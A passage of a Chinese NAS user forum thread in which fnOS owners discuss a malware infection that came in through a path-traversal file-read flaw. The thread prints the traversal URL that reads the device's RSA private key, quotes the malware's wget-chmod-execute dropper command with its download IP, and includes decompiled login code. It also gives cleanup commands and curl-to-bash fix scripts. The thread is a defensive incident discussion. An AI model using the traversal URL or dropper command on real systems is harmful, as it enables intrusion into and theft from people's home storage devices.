收起左侧
楼主: DCr9nmaqFU14O

fnos 恶意程序分析

233
回复
45341
查看
  [ 复制链接 ]

2

主题

42

回帖

0

牛值

江湖小虾

2026-1-31 20:58:18 显示全部楼层
qianlongzt 发表于 2026-1-31 16:50
网上随便找的幸运用户。0.9.29 https

https://mp.weixin.qq.com/s/oktCsLc68OY7tJMPJjlwsg

这个很早就有一直就没有修复过 包括现在115版本也是没有修复

2

主题

42

回帖

0

牛值

江湖小虾

2026-1-31 21:04:59 显示全部楼层
ThorHe 发表于 2026-1-31 20:47
公众号PokerSec发了1.1.15版本存在的漏洞

是的漏洞还在
两个不同的漏洞,路径访问那个修了,恶意程序注入的还在  详情 回复
2026-1-31 23:37

25

主题

61

回帖

0

牛值

初出茅庐

2026-1-31 21:10:25 显示全部楼层
贰柒doge 发表于 2026-1-31 18:23
后面得加对应文件路径,比如说飞牛密码路径

已经加了域名和路径了,目录点进去就变成404了

0

主题

1

回帖

0

牛值

江湖小虾

2026-1-31 21:14:50 显示全部楼层

是说最近网络怎么老断,而且连接数暴涨,累计上传的流量也增加,问下各位这种中招了的,内容会泄露吗?虽然不是啥重要信息,但也是一些储存的照片和下载的4k电影。

25

主题

61

回帖

0

牛值

初出茅庐

2026-1-31 21:19:15 显示全部楼层
gunana 发表于 2026-1-31 17:09
我试了一下,可以访问,但是点进去目录看不到任何内容,提示404

我的也是目录点进去就变成404,实际是看不到里面的文件,但是这个目录暴露也很危险。
你别直接鼠标点击,你在地址栏里补上目录路径再看看,是能进入的,也能下载查看  详情 回复
2026-1-31 21:34

0

主题

14

回帖

0

牛值

江湖小虾

2026-1-31 21:25:37 显示全部楼层

现在已经关机了,要怎么修复呀?如果只格盘重装系统也不一定好的话,那转移资料 格盘的工作量也太大了。

重装系统就可以 但是要检查下存储区有没有残留病毒,要不重装也没有用  详情 回复
2026-1-31 21:29

9

主题

72

回帖

0

牛值

初出茅庐

2026-1-31 21:27:25 显示全部楼层
fun5201314 发表于 2026-1-31 20:53
还在
/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../你加上域名就可以绕过认证
...


靠!直接关机,坐等修复。这么严重的漏洞不出个公告

2

主题

42

回帖

0

牛值

江湖小虾

2026-1-31 21:29:03 显示全部楼层
Only_for_feiniu 发表于 2026-1-31 21:25
现在已经关机了,要怎么修复呀?如果只格盘重装系统也不一定好的话,那转移资料 格盘的工作量也太大了。
...

重装系统就可以 但是要检查下存储区有没有残留病毒,要不重装也没有用

0

主题

9

回帖

0

牛值

江湖小虾

2026-1-31 21:34:28 显示全部楼层
bct2398 发表于 2026-1-31 21:19
我的也是目录点进去就变成404,实际是看不到里面的文件,但是这个目录暴露也很危险。 ...

你别直接鼠标点击,你在地址栏里补上目录路径再看看,是能进入的,也能下载查看

7

主题

58

回帖

0

牛值

初出茅庐

2026-1-31 21:35:21 显示全部楼层

还好我前几天看了论坛里一个提醒app-center-static漏洞的帖子赶紧升级到1.1.15,最新版应该修复了,万幸没有暴露

没用,还有个 websocket 的,可能还有更多的没爆出来,赶紧断网保平安  详情 回复
2026-1-31 21:56

0

主题

6

回帖

0

牛值

江湖小虾

2026-1-31 21:35:27 显示全部楼层
飞牛社区主理人 发表于 2026-1-31 12:41
感谢分享,分析很精彩,该问题官方已知,经过技术分析追踪该行为是是在公网暴露服务的情况下,开启http明文 ...

路径穿透导致的问题,这属于重大事故,不发公告承认吗

7

主题

58

回帖

0

牛值

初出茅庐

2026-1-31 21:36:32 显示全部楼层
nijpatin 发表于 2026-1-31 20:12
现在1.1.15还有这个漏洞吗?

1.1.15已经修复了,赶紧升级

7

主题

24

回帖

0

牛值

江湖小虾

2026-1-31 21:49:14 显示全部楼层
akbiubiu 发表于 2026-1-31 11:44
和http没关系飞牛前几个版本有越权路径的0day 映射到公网的nas在域名后面加/app-center-static/serviceicon ...

亲测官方fnconnect也有此漏洞

0

主题

1

回帖

0

牛值

江湖小虾

2026-1-31 21:53:07 显示全部楼层

补充一个文件

root@Banas:~# md5sum /usr/sbin/gots
19884674cbcb47069ece9f81096c0e67  /usr/sbin/gots
root@Banas:~# md5sum /usr/bin/dockers
19884674cbcb47069ece9f81096c0e67  /usr/bin/dockers

对的 本来我也想补一下 dockers 这个文件的,你发现的比我早,费了好大劲才追踪到这个文件  详情 回复
2026-2-1 02:47

5

主题

9

回帖

0

牛值

江湖小虾

2026-1-31 21:56:13 显示全部楼层
xiaodong 发表于 2026-1-31 21:35
还好我前几天看了论坛里一个提醒app-center-static漏洞的帖子赶紧升级到1.1.15,最新版应该修复了,万幸没 ...

没用,还有个 websocket 的,可能还有更多的没爆出来,赶紧断网保平安
今天已经赶紧关了  详情 回复
2026-1-31 22:11

3

主题

15

回帖

0

牛值

fnOS系统内测组

2026-1-31 21:57:02 显示全部楼层
1.1.15 路径穿透还存在?

27

主题

156

回帖

0

牛值

小有名气

fnOS1.0上线纪念勋章飞牛百度网盘玩家

2026-1-31 22:03:26 显示全部楼层

我還未看明白到底是怎樣的問題。。。。

这个 http://x.x.x.x:5666(5667)/app-center-static/serviceicon/myapp/%7B0%7D?size=../../../../usr/trim/etc/rsa_private_key.pem获取受害者的 rsa_private_key.pem,rsa_private_key.pem是用来计算登录用cookie中  详情 回复
2026-1-31 22:44

0

主题

3

回帖

0

牛值

江湖小虾

2026-1-31 22:04:54 显示全部楼层

不可思议

4

主题

5

回帖

0

牛值

江湖小虾

2026-1-31 22:07:48 显示全部楼层

这么大的事情飞牛无动于衷吗?

0

主题

5

回帖

0

牛值

系统先锋体验团🛩️

2026-1-31 22:08:50 显示全部楼层

提升权限就行了

7

主题

58

回帖

0

牛值

初出茅庐

2026-1-31 22:11:12 显示全部楼层
yuyuko 发表于 2026-1-31 21:56
没用,还有个 websocket 的,可能还有更多的没爆出来,赶紧断网保平安

今天已经赶紧关了

0

主题

1

回帖

0

牛值

江湖小虾

2026-1-31 22:35:50 显示全部楼层

wget http://43.198.11.122/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp,这个就是吧

升级到1.1.18了,还是和你一样的问题,感觉升级完作用不大,打算重做系统了  详情 回复
2026-2-1 18:49

0

主题

3

回帖

0

牛值

江湖小虾

2026-1-31 22:41:11 显示全部楼层
utopias77 发表于 2026-1-31 17:19
直接在地址栏里访问文件路径还是可以看到,比如说
/app-center-static/serviceicon/myapp/{0}/?size=../. ...

我进去之后是飞牛登录界面啊,lucky反代的连接进去,也显示没有页面

2

主题

13

回帖

0

牛值

江湖小虾

fnOS1.0上线纪念勋章

2026-1-31 22:43:53 显示全部楼层

已中,放弃治疗,直接格盘重装

3

主题

17

回帖

0

牛值

江湖小虾

2026-1-31 22:44:28 显示全部楼层
柳如嫣 发表于 2026-1-31 22:03
我還未看明白到底是怎樣的問題。。。。

这个 http://x.x.x.x:5666(5667)/app-center-static/serviceicon/myapp/%7B0%7D?size=../../../../usr/trim/etc/rsa_private_key.pem获取受害者的 rsa_private_key.pem,rsa_private_key.pem是用来计算登录用cookie中的longtoken的,攻击者可能是通过这个LFI漏洞获取到longtoken之后登录了飞牛os,然后下发并持久化木马。
怎么办呢?这个文件要怎么处理呢?  详情 回复
2026-2-1 02:49

2

主题

4

回帖

0

牛值

江湖小虾

2026-1-31 22:56:04 显示全部楼层

几乎外网能访问的飞牛都中标了,不只是开放了5666 5667端口的 还有官方开FN的, 我用FRP反穿换了访问端口只开了5666,也中了! 我怀疑是飞牛内部泄露也有可能是前员工得到的后门!

我看好像中的都是搭配爱快的?  详情 回复
2026-2-1 07:31
没有这么绝对吧,刚刚自检了一下暂时没事。  详情 回复
2026-2-1 00:00

0

主题

2

回帖

0

牛值

江湖小虾

2026-1-31 22:56:41 显示全部楼层
飞牛社区主理人 发表于 2026-1-31 12:41
感谢分享,分析很精彩,该问题官方已知,经过技术分析追踪该行为是是在公网暴露服务的情况下,开启http明文 ...

意思就是说,这个漏洞过去了10多天了,你们不仅没有修复,还未在第一时间告知用户,将用户数据安全置于何地?免费就是有免费的道理。
异常情况确定当天就针对该情况,推送了1.1.15更新,并发送了更新提醒。  详情 回复
2026-2-1 00:41

2

主题

8

回帖

0

牛值

江湖小虾

2026-1-31 23:08:06 显示全部楼层
akbiubiu 发表于 2026-1-31 11:44
和http没关系飞牛前几个版本有越权路径的0day 映射到公网的nas在域名后面加/app-center-static/serviceicon ...

复现不了啊,fnid和内网ip都复现不了这个漏洞,到底该怎么防这波漏洞?
如果已经更新1.1.15,那么复现不了  详情 回复
2026-1-31 23:55
断网就防住了,先内网用  详情 回复
2026-1-31 23:18

0

主题

1

回帖

0

牛值

江湖小虾

2026-1-31 23:18:42 显示全部楼层
akbiubiu 发表于 2026-1-31 11:44
和http没关系飞牛前几个版本有越权路径的0day 映射到公网的nas在域名后面加/app-center-static/serviceicon ...

实测现在还存在。。

1

主题

16

回帖

0

牛值

江湖小虾

2026-1-31 23:18:57 显示全部楼层
二一x 发表于 2026-1-31 23:08
复现不了啊,fnid和内网ip都复现不了这个漏洞,到底该怎么防这波漏洞?

断网就防住了,先内网用

1

主题

1

回帖

0

牛值

江湖小虾

2026-1-31 23:30:16 显示全部楼层

重装系统没用连接外网连接数还是会暴涨。
mmexport1769873276807.jpg

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
官方说是新版本修复了,但是你这个可能是有旧的病毒文件。  详情 回复
2026-1-31 23:31

5

主题

16

回帖

0

牛值

江湖小虾

2026-1-31 23:30:44 显示全部楼层

https://blog.fyun.org/fnos-nas.html
我是按照这个方法修复了,目前重启过后没看到有新的病毒生成。

文件有很多,

1. 停止并禁用恶意服务 (防止进程占用导致无法删除)

注意:如果服务已经挂掉或不存在,报错可忽略

systemctl stop SazW nginx dockers trim_pap sync_server
systemctl disable SazW nginx dockers trim_pap sync_server

2. 批量解锁文件权限 (去除 immutable 属性)

chattr -i /sbin/gots
/usr/bin/dockers
/usr/trim/bin/wsdd2
/usr/bin/SazW
/usr/bin/nginx
/usr/lib/systemd/system/SazW.service
/usr/lib/systemd/system/nginx.service
/usr/lib/systemd/system/dockers.service
/usr/lib/systemd/system/trim_pap.service
/usr/lib/systemd/system/sync_server.service

3. 强制删除恶意文件及服务配置

rm -rf /sbin/gots
/usr/bin/dockers
/usr/trim/bin/wsdd2
/usr/bin/SazW
/usr/bin/nginx
/usr/lib/systemd/system/SazW.service
/usr/lib/systemd/system/nginx.service
/usr/lib/systemd/system/dockers.service
/usr/lib/systemd/system/trim_pap.service
/usr/lib/systemd/system/sync_server.service

4. 重载 systemd 守护进程 (让系统知道服务已被删除)

systemctl daemon-reload

5. 再次检查确认 (如果输出为空,则说明删除干净)

ls -l /sbin/gots /usr/bin/dockers /usr/trim/bin/wsdd2 /usr/bin/SazW

5

主题

16

回帖

0

牛值

江湖小虾

2026-1-31 23:31:19 显示全部楼层
舟舟x 发表于 2026-1-31 23:30
重装系统没用连接外网连接数还是会暴涨。

官方说是新版本修复了,但是你这个可能是有旧的病毒文件。

2

主题

8

回帖

0

牛值

江湖小虾

2026-1-31 23:36:55 显示全部楼层
master-matt 发表于 2026-1-31 14:27
1.1.15版本前存在严重的路径穿越bug,不信的话符合版本的用户在不登录情况下访问 /app-center-static/servi ...

1.1.15版本还有其他重大问题不? 飞牛也是黑心, 这么大的问题公告都不发一个,中间有个把月的真空期,好在是没有直接暴露ip访问,没中招,暴露ip访问的,再玩个PT基本100%中招

10

主题

83

回帖

0

牛值

初出茅庐

fnOS1.0上线纪念勋章

2026-1-31 23:37:11 显示全部楼层

两个不同的漏洞,路径访问那个修了,恶意程序注入的还在

1

主题

4

回帖

0

牛值

江湖小虾

2026-1-31 23:40:40 显示全部楼层
success 发表于 2026-1-31 14:39
#一键检测修复工具
curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxc ...

国内访问不了,要翻墙。
国内快速链接V2版本 先sudo -i  详情 回复
2026-2-1 00:50

0

主题

1

回帖

0

牛值

江湖小虾

2026-1-31 23:41:49 显示全部楼层

草,一个月内没外网登陆还是中了,飞牛居然不管的吗,网络卡了排查才知道是这回事,先离线再说吧,怎么一个公告都没有的

11

主题

86

回帖

0

牛值

fnOS系统内测组

2026-1-31 23:53:01 显示全部楼层
master-matt 发表于 2026-1-31 16:07
我也是当时应用商店下载不了东西,查看问题是dns失败,ssh上机器 手动 resolvconf -u 更新dns 配置异常, ...

我的表现也是 1.应用商店APP升级失败  2.吸引升级失败  3.ssh去主机,ping任何域名失效  4. nslookup registry-1.docker.io
;; communications error to ::1#53: connection refused  检测任何dns解析都失败  5.cat /etc/resolv.conf看dns配置文件时,发现cat命令都消失了  6.nslookup www.baidu.com
;; communications error to ::1#53: connection refused   
一模一样,dns的配置更新生效依赖cat,病毒把cat命令改为cat2,就导致dns失效  详情 回复
2026-2-1 00:55

3

主题

17

回帖

0

牛值

江湖小虾

2026-1-31 23:54:09 显示全部楼层
[quote][size=2][url=forum.php?mod=redirect&goto=findpost&pid=244089&ptid=53230][color=#999999]koto 发表于 2026-1-31 12:16[/color][/url][/size] 没有公网 IP 何尝不是一种防御( 自查脚本 OUT="/tmp/fnos_ioc_$(date +%F_%H%M%S).txt" [/quote]

如果攻击者采用的是文件包含的那个漏洞进行的第一步攻击,那么是不是也应当重建被盗取的私钥,即便漏洞被修补了也要避免泄露的私钥被用来进行二次攻击。

sudo su
mv /usr/trim/etc/rsa_private_key.pem /usr/trim/etc/rsa_private_key.pem.bak
mv /usr/trim/etc/rsa_public_key.pem /usr/trim/etc/rsa_public_key.pem.bak
/usr/trim/bin/triminit
exit

(备份之前的私钥,并通过triminit重建新的私钥)

当然还有系统生成的downloadkey,nginx,sshd私钥或用户自己的私钥被盗取,根据受害情况也应当酌情考虑更换。

更换的原因基于image.pnghttps://club.fnnas.com/forum.php?mod=viewthread&tid=52304&extra=page%3D1

攻击者可能通过 盗取的 rsa_private_key.pem构造 longtoken用来登录受害者主机

/usr/trim/bin/handlers/user.hdl

void do_login(uint64_t session,uid_t uid,int stay_login,uchar *long_token,uchar *inherited_secre t,
             handler_extra_t *handler_extra,char *device_name,char *device_type,char *did,
             MutValue *result)

{
  long lVar1;
  bool bVar2;
  int iVar3;
  MutValue *pMVar4;
  passwd *ppVar5;
  time_t tVar6;
  long *plVar7;
  __time_t *p_Var8;
  pthread_t pVar9;
  uchar *puVar10;
  ulong uVar11;
  char *pcVar12;
  ezpq *peVar13;
  char *pcVar14;
  void *pvVar15;
  undefined8 *puVar16;
  undefined1 *puVar17;
  long lVar18;
  char cVar19;
  long in_FS_OFFSET;
  uid_t _uid;
  undefined1 local_2c8 [32];
  undefined1 local_2a8 [32];
  stat64 st;
  uchar secret [16];
  char token [32];
  char backid [32];
  char machine_id [64];
  
                    /* Unresolved local var: bool ret@[???]
                       Unresolved local var: passwd * pw@[???] */
  cVar19 = false;
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  pMVar4 = (MutValue *)(**(code **)(*(long *)result + 0x18))(result,"uid");
  PPJson::MutValue::operator=(pMVar4,uid);
  pthread_rwlock_rdlock((pthread_rwlock_t *)&locker_passwd_group);
  ppVar5 = getpwuid_q(uid);
  if (ppVar5 != (passwd *)0x0) {
    cVar19 = *ppVar5->pw_shell;
  }
  pthread_rwlock_unlock((pthread_rwlock_t *)&locker_passwd_group);
  pMVar4 = (MutValue *)(**(code **)(*(long *)result + 0x18))(result,"admin");
  PPJson::MutValue::operator=(pMVar4,(bool)cVar19);
  bVar2 = query_session(session,token);
  if (((bVar2) && (bVar2 = query_token(token,&_uid), bVar2)) && (_uid == uid)) {
    refresh_token(token);
    goto LAB_0010cb9b;
  }
  if (inherited_secret == (uchar *)0x0) {
    iVar3 = rand();
    secret[0] = (char)iVar3;
    secret[1] = (char)((uint)iVar3 >> 8);
    secret[2] = (char)((uint)iVar3 >> 0x10);
    secret[3] = (char)((uint)iVar3 >> 0x18);
    iVar3 = rand();
    secret[4] = (char)iVar3;
    secret[5] = (char)((uint)iVar3 >> 8);
    secret[6] = (char)((uint)iVar3 >> 0x10);
    secret[7] = (char)((uint)iVar3 >> 0x18);
    iVar3 = rand();
    secret[8] = (char)iVar3;
    secret[9] = (char)((uint)iVar3 >> 8);
    secret[10] = (char)((uint)iVar3 >> 0x10);
    secret[0xb] = (char)((uint)iVar3 >> 0x18);
    iVar3 = rand();
    secret[0xc] = (char)iVar3;
    secret[0xd] = (char)((uint)iVar3 >> 8);
    secret[0xe] = (char)((uint)iVar3 >> 0x10);
    secret[0xf] = (char)((uint)iVar3 >> 0x18);
    secret[0xf] = 'o';
  }
  else {
    secret._0_8_ = *(undefined8 *)inherited_secret;
    secret._8_8_ = *(undefined8 *)(inherited_secret + 8);
  }
  if ((do_login(unsigned_long,unsigned_int,int,unsigned_char*,unsigned_char*,handler_extra_t*,char_ const*,char_const*,char_const*,PPJson::MutValue&)
       ::mask_rand == '\0') && (iVar3 = __cxa_guard_acquire(), iVar3 != 0)) {
    do_login::lexical_block_0::mask_rand = rand();
    __cxa_guard_release();
  }
  if ((do_login(unsigned_long,unsigned_int,int,unsigned_char*,unsigned_char*,handler_extra_t*,char_ const*,char_const*,char_const*,PPJson::MutValue&)
       ::token_inc == '\0') && (iVar3 = __cxa_guard_acquire(), iVar3 != 0)) {
    do_login::lexical_block_0::token_inc.super___atomic_base<int>._M_i = (__atomic_base<int>)ran d();
    __cxa_guard_release();
  }
  token._0_4_ = rand();
  tVar6 = time((time_t *)0x0);
  token._4_4_ = (undefined4)tVar6;
                    /* Unresolved local var: memory_order __b@[???] */
  token._8_4_ = (uint)do_login::lexical_block_0::token_inc.super___atomic_base<int>._M_i ^
                do_login::lexical_block_0::mask_rand;
  token._12_4_ = rand();
  LOCK();
  do_login::lexical_block_0::token_inc.super___atomic_base<int>._M_i =
       (__atomic_base<int>)
       ((int)do_login::lexical_block_0::token_inc.super___atomic_base<int>._M_i + 1);
  UNLOCK();
  iVar3 = stat64("/usr/trim/etc/rsa_private_key.pem",(stat64 *)&st);
  if ((iVar3 == 0) &&
     ((plVar7 = (long *)__tls_get_addr(&PTR_00134fa8), st.st_mtim.tv_sec != *plVar7 ||
      (st.st_mtim.tv_nsec != plVar7[1])))) {
                    /* Unresolved local var: int fd@[???] */
    iVar3 = open("/usr/trim/etc/rsa_private_key.pem",0x80000);
    if (-1 < iVar3) {
      lseek(iVar3,100,0);
      pvVar15 = (void *)__tls_get_addr(&PTR_00134f88);
      read(iVar3,pvVar15,0x20);
      close(iVar3);
    }
    p_Var8 = (__time_t *)__tls_get_addr(&PTR_00134fa8);
    *p_Var8 = st.st_mtim.tv_sec;
    p_Var8[1] = st.st_mtim.tv_nsec;
    pVar9 = pthread_self();
    __fprintf_chk(_stdout,1,"[%lu]cache secret from file\n",pVar9);
  }
  puVar10 = (uchar *)__tls_get_addr(&PTR_00134f88);
  iVar3 = aes_encrypt(secret,0xf,puVar10,(uchar *)token,(uchar *)(token + 0x10));
  if (iVar3 != 0x10) {
                    /* WARNING: Subroutine does not return */
    __assert_fail("aes_encrypt(secret, 15, get_secret_aeskey(), (unsigned char *)token, (unsigned c har *)&token[16]) == 16"
                  ,"/linux-dev/trim/handler_user/user.cpp",0x659,
                  "void do_login(uint64_t, uid_t, int, unsigned char*, unsigned char*, handler_extra _t*, const char*, const char*, const char*, PPJson::MutValue&)"
                 );
  }
  if (long_token == (uchar *)0x0) {
    if (stay_login == 0) {
      if ((did != (char *)0x0) && (*did != '\0')) {
        pcVar12 = (char *)__tls_get_addr(&PTR_00134f40);
        if (*pcVar12 == '\0') {
          *pcVar12 = '\x01';
          puVar16 = (undefined8 *)__tls_get_addr(&PTR_00134fc8);
          *puVar16 = "host=/var/run/postgresql user=postgres dbname=trim";
          puVar16[1] = 0;
          *(undefined4 *)(puVar16 + 2) = 0;
          __cxa_thread_atexit(ezpq::~ezpq,puVar16,&__dso_handle);
        }
        __sprintf_chk(&st,1,0x20,"%d",uid);
        peVar13 = (ezpq *)__tls_get_addr(&PTR_00134fc8);
        ezpq::execp(peVar13,"DELETE FROM longtoken WHERE did=$1 AND uid=$2",did,&st,0);
      }
      bVar2 = add_token(token,uid,(uchar *)0x0,did);
      if (!bVar2) {
        puts("token is exists.");
      }
    }
    else {
                    /* Unresolved local var: uint64_t checksum@[???]
                       Unresolved local var: passwd * pw@[???] */
      pthread_rwlock_rdlock((pthread_rwlock_t *)&locker_passwd_group);
      getpwuid_q(uid);
      pthread_rwlock_unlock((pthread_rwlock_t *)&locker_passwd_group);
      backid._0_4_ = rand();
      backid._4_4_ = uid;
      tVar6 = time((time_t *)0x0);
      backid._8_8_ = tVar6 + 0x278d00;
      iVar3 = stat64("/usr/trim/etc/rsa_private_key.pem",(stat64 *)&st);
      if ((iVar3 == 0) &&
         ((plVar7 = (long *)__tls_get_addr(&PTR_00134fa8), st.st_mtim.tv_sec != *plVar7 ||
          (st.st_mtim.tv_nsec != plVar7[1])))) {
                    /* Unresolved local var: int fd@[???] */
        iVar3 = open("/usr/trim/etc/rsa_private_key.pem",0x80000);
        if (-1 < iVar3) {
          lseek(iVar3,100,0);
          pvVar15 = (void *)__tls_get_addr(&PTR_00134f88);
          read(iVar3,pvVar15,0x20);
          close(iVar3);
        }
        p_Var8 = (__time_t *)__tls_get_addr(&PTR_00134fa8);
        *p_Var8 = st.st_mtim.tv_sec;
        p_Var8[1] = st.st_mtim.tv_nsec;
        pVar9 = pthread_self();
        __fprintf_chk(_stdout,1,"[%lu]cache secret from file\n",pVar9);
      }
      puVar10 = (uchar *)__tls_get_addr(&PTR_00134f88);
      iVar3 = aes_encrypt(secret,0xf,puVar10,(uchar *)backid,(uchar *)(backid + 0x10));
      if (iVar3 != 0x10) {
                    /* WARNING: Subroutine does not return */
        __assert_fail("aes_encrypt(secret, 15, get_secret_aeskey(), (unsigned char *)long_token, (u nsigned char *)&long_token[16]) == 16"
                      ,"/linux-dev/trim/handler_user/user.cpp",0x674,
                      "void do_login(uint64_t, uid_t, int, unsigned char*, unsigned char*, handler_e xtra_t*, const char*, const char*, const char*, PPJson::MutValue&)"
                     );
      }
      encode_base64((uchar *)backid,0x28,machine_id);
      pMVar4 = (MutValue *)(**(code **)(*(long *)result + 0x18))(result,"longToken");
      PPJson::MutValue::operator=(pMVar4,machine_id);
      bVar2 = add_token(token,uid,(uchar *)backid,did);
      if (!bVar2) {
        puts("token is exists.");
      }
      pcVar12 = (char *)__tls_get_addr();
      if ((did == (char *)0x0) || (*did == '\0')) {
        if (*pcVar12 == '\0') {
          puVar17 = (undefined1 *)__tls_get_addr(&PTR_00134f40);
          *puVar17 = 1;
          puVar16 = (undefined8 *)__tls_get_addr(&PTR_00134fc8);
          *puVar16 = "host=/var/run/postgresql user=postgres dbname=trim";
          puVar16[1] = 0;
          *(undefined4 *)(puVar16 + 2) = 0;
          __cxa_thread_atexit(ezpq::~ezpq,puVar16,&__dso_handle);
        }
        pcVar12 = device_type;
        if (device_type == (char *)0x0) {
          pcVar12 = "";
        }
        pcVar14 = "";
        if (device_name != (char *)0x0) {
          pcVar14 = device_name;
        }
        tVar6 = time((time_t *)0x0);
        __sprintf_chk(&st,1,0x20,&DAT_0012b22a,tVar6);
        lVar18 = 999999999999;
        if (stay_login != 2) {
          tVar6 = time((time_t *)0x0);
          lVar18 = tVar6 + 0x278d00;
        }
        __sprintf_chk(local_2a8,1,0x20,&DAT_0012b22a,lVar18);
        __sprintf_chk(local_2c8,1,0x20,"%d",uid);
        peVar13 = (ezpq *)__tls_get_addr(&PTR_00134fc8);
        ezpq::execp(peVar13,
                    "INSERT INTO longtoken(token,uid,overtime,logintime,device_name,device_type) VAL UES($1,$2,$3,$4,$5,$6)"
                    ,machine_id,local_2c8,local_2a8,&st,pcVar14,pcVar12,0);
      }
      else {
        if (*pcVar12 == '\0') {
          *pcVar12 = '\x01';
          puVar16 = (undefined8 *)__tls_get_addr(&PTR_00134fc8);
          *puVar16 = "host=/var/run/postgresql user=postgres dbname=trim";
          puVar16[1] = 0;
          *(undefined4 *)(puVar16 + 2) = 0;
          __cxa_thread_atexit(ezpq::~ezpq,puVar16,&__dso_handle);
        }
        pcVar12 = device_type;
        if (device_type == (char *)0x0) {
          pcVar12 = "";
        }
        pcVar14 = "";
        if (device_name != (char *)0x0) {
          pcVar14 = device_name;
        }
        tVar6 = time((time_t *)0x0);
        __sprintf_chk(&st,1,0x20,&DAT_0012b22a,tVar6);
        lVar18 = 999999999999;
        if (stay_login != 2) {
          tVar6 = time((time_t *)0x0);
          lVar18 = tVar6 + 0x278d00;
        }
        __sprintf_chk(local_2a8,1,0x20,&DAT_0012b22a,lVar18);
        __sprintf_chk(local_2c8,1,0x20,"%d",uid);
        peVar13 = (ezpq *)__tls_get_addr(&PTR_00134fc8);
        ezpq::execp(peVar13,
                    "INSERT INTO longtoken(token,uid,overtime,logintime,did,device_name,device_type)  VALUES($1,$2,$3,$4,$5,$6,$7) ON CONFLICT(did,uid) DO update set token=$1, overt ime=$3, logintime=$4, device_name=$6, device_type=$7"
                    ,machine_id,local_2c8,local_2a8,&st,did,pcVar14,pcVar12,0);
      }
    }
    puVar10 = (uchar *)backid;
    if (inherited_secret == (uchar *)0x0) {
      if ((handler_extra->field_0x20 & 0xe) == 2) {
                    /* Unresolved local var: int aes_len@[???] */
        iVar3 = aes_encrypt(secret,0x10,handler_extra->aes_key,handler_extra->aes_iv,puVar10);
        if (0x7e < iVar3 - 2U) goto LAB_0010cb51;
      }
      else {
        iVar3 = 0x10;
        puVar10 = secret;
      }
      encode_base64(puVar10,iVar3,machine_id);
      pMVar4 = (MutValue *)(**(code **)(*(long *)result + 0x18))(result,"secret");
      PPJson::MutValue::operator=(pMVar4,machine_id);
    }
  }
  else {
    bVar2 = add_token(token,uid,long_token,did);
    if (!bVar2) {
      puts("token is exists.");
    }
  }
LAB_0010cb51:
  add_session(session,token);
  token_set_login_device(token,device_name,device_type);
  encode_base64((uchar *)token,0x20,machine_id);
  pMVar4 = (MutValue *)(**(code **)(*(long *)result + 0x18))(result,"token");
  PPJson::MutValue::operator=(pMVar4,machine_id);
LAB_0010cb9b:
                    /* Unresolved local var: uint id@[???] */
  add_user_main_session(uid,session,token);
  iVar3 = get_new_backid(char*)::_back_id;
  LOCK();
  get_new_backid(char*)::_back_id = get_new_backid(char*)::_back_id + 1;
  UNLOCK();
  uVar11 = time((time_t *)0x0);
  __sprintf_chk(backid,1,0x20,"%08x%08x",uVar11 & 0xffffffff,iVar3);
  pMVar4 = (MutValue *)(**(code **)(*(long *)result + 0x18))(result,"backId");
  PPJson::MutValue::operator=(pMVar4,backid);
  get_machine_id(machine_id);
  pMVar4 = (MutValue *)(**(code **)(*(long *)result + 0x18))(result,"machineId");
  PPJson::MutValue::operator=(pMVar4,machine_id);
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

61

主题

202

回帖

540

牛值

社区共建团

fnOS1.0上线纪念勋章社区共建团荣誉勋章飞牛百度网盘玩家

2026-1-31 23:55:10 显示全部楼层
二一x 发表于 2026-1-31 23:08
复现不了啊,fnid和内网ip都复现不了这个漏洞,到底该怎么防这波漏洞?

如果已经更新1.1.15,那么复现不了
一位爱好折腾nas的初三学生~

1

主题

2

回帖

0

牛值

江湖小虾

2026-1-31 23:58:54 显示全部楼层
langlangzhu 发表于 2026-1-30 23:56
大佬厉害,我排查也是连接了151.240.13.91才导致连接数暴涨,最后靠飞牛远程给我解决的,目前再也没出现问 ...

大佬这个怎么看啊

7

主题

38

回帖

0

牛值

初出茅庐

2026-2-1 00:03:32 显示全部楼层

这么严重的事情,飞牛连个公告都不发

不光公告不发,fnid远程连接也没关  详情 回复
2026-2-1 00:12

2

主题

1

回帖

0

牛值

江湖小虾

2026-2-1 00:06:51 显示全部楼层
langlangzhu 发表于 2026-1-30 23:56
大佬厉害,我排查也是连接了151.240.13.91才导致连接数暴涨,最后靠飞牛远程给我解决的,目前再也没出现问 ...

你这个用什么查看的

5

主题

17

回帖

0

牛值

江湖小虾

fnOS1.0上线纪念勋章飞牛百度网盘玩家

2026-2-1 00:12:49 显示全部楼层
HAOGE 发表于 2026-2-1 00:03
这么严重的事情,飞牛连个公告都不发

不光公告不发,fnid远程连接也没关

2

主题

17

回帖

0

牛值

江湖小虾

2026-2-1 00:21:20 显示全部楼层

image.png大佬这是啥意思啊

搞好了

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x

0

主题

3

回帖

0

牛值

江湖小虾

2026-2-1 00:29:36 显示全部楼层

确实有问题,1.1.8版本存在漏洞穿透的问题,按照这个文章里的方式完全可以下载到私钥
https://club.fnnas.com/forum.php?mod=viewthread&tid=52304&extra=page%3D1

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x

1

主题

5

回帖

0

牛值

江湖小虾

2026-2-1 00:32:42 显示全部楼层

1月20多号就发现路由器频繁断网。

2

主题

17

回帖

0

牛值

江湖小虾

2026-2-1 00:37:45 显示全部楼层

搞定了 用了脚本可以完全杀掉

curl -fsSL http://static2.fnnas.com/aptfix/listautostart.sh | bash **

**curl -L http://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec **

**curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1 && chmod +x /usr/local/bin/fnos_xxck1 && fnos_xxck1 **

第一个是检查,第二个是修复,第三个也是修复

9d853ea20168e472425ba96bfd5e490b.png

f5b1c40b955c33ba11550759ee4b2c9a.png

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
